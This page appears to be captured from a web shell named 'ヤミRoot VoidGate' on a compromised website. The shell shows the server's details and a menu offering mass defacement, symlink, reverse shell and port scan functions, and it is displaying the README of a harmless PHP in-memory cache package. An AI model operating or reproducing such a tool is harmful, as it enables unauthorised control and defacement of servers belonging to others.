ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
vendor
/
beste
/
in-memory-cache
/
Viewing: README.md
# PSR-6 In-Memory Cache A [PSR-6](https://www.php-fig.org/psr/psr-6/) In-Memory cache that can be used as a default implementation and in tests. [](https://packagist.org/packages/beste/in-memory-cache) [](https://packagist.org/packages/beste/in-memory-cache) [](https://packagist.org/packages/beste/in-memory-cache/stats) [](https://packagist.org/packages/beste/in-memory-cache/stats) [](https://github.com/beste/in-memory-cache-php/actions/workflows/tests.yml) ## Installation ```shell composer require beste/in-memory-cache ``` ## Usage ```php use Beste\Cache\InMemoryCache; $cache = new InMemoryCache(); $item = $cache->getItem('key'); assert($item->isHit() === false); assert($item->get() === null); $item->set('value'); $cache->save($item); // Later... $item = $cache->getItem('key'); assert($item->isHit() === true); assert($item->get() === 'value'); ``` You can also provide your own [PSR-20](https://www.php-fig.org/psr/psr-20/) clock implementation, for example a frozen clock for testing, for example from the [`beste/clock` library](https://github.com/beste/clock). ```php use Beste\Clock\FrozenClock; use Beste\Cache\InMemoryCache; $clock = FrozenClock::fromUTC() $cache = new InMemoryCache(); $item = $cache->getItem('key'); $item->set('value')->expiresAfter(new DateInterval('PT5M')); $cache->save($item); $clock->setTo($clock->now()->add(new DateInterval('PT2M'))); assert($cache->getItem('key')->isHit() === true); $clock->setTo($clock->now()->add(new DateInterval('PT5M'))); assert($cache->getItem('key')->isHit() === false); ``` ## Running tests ```shell composer test ``` ## License This project is published under the [MIT License](LICENSE).
Coded With 💗 by
0x6ick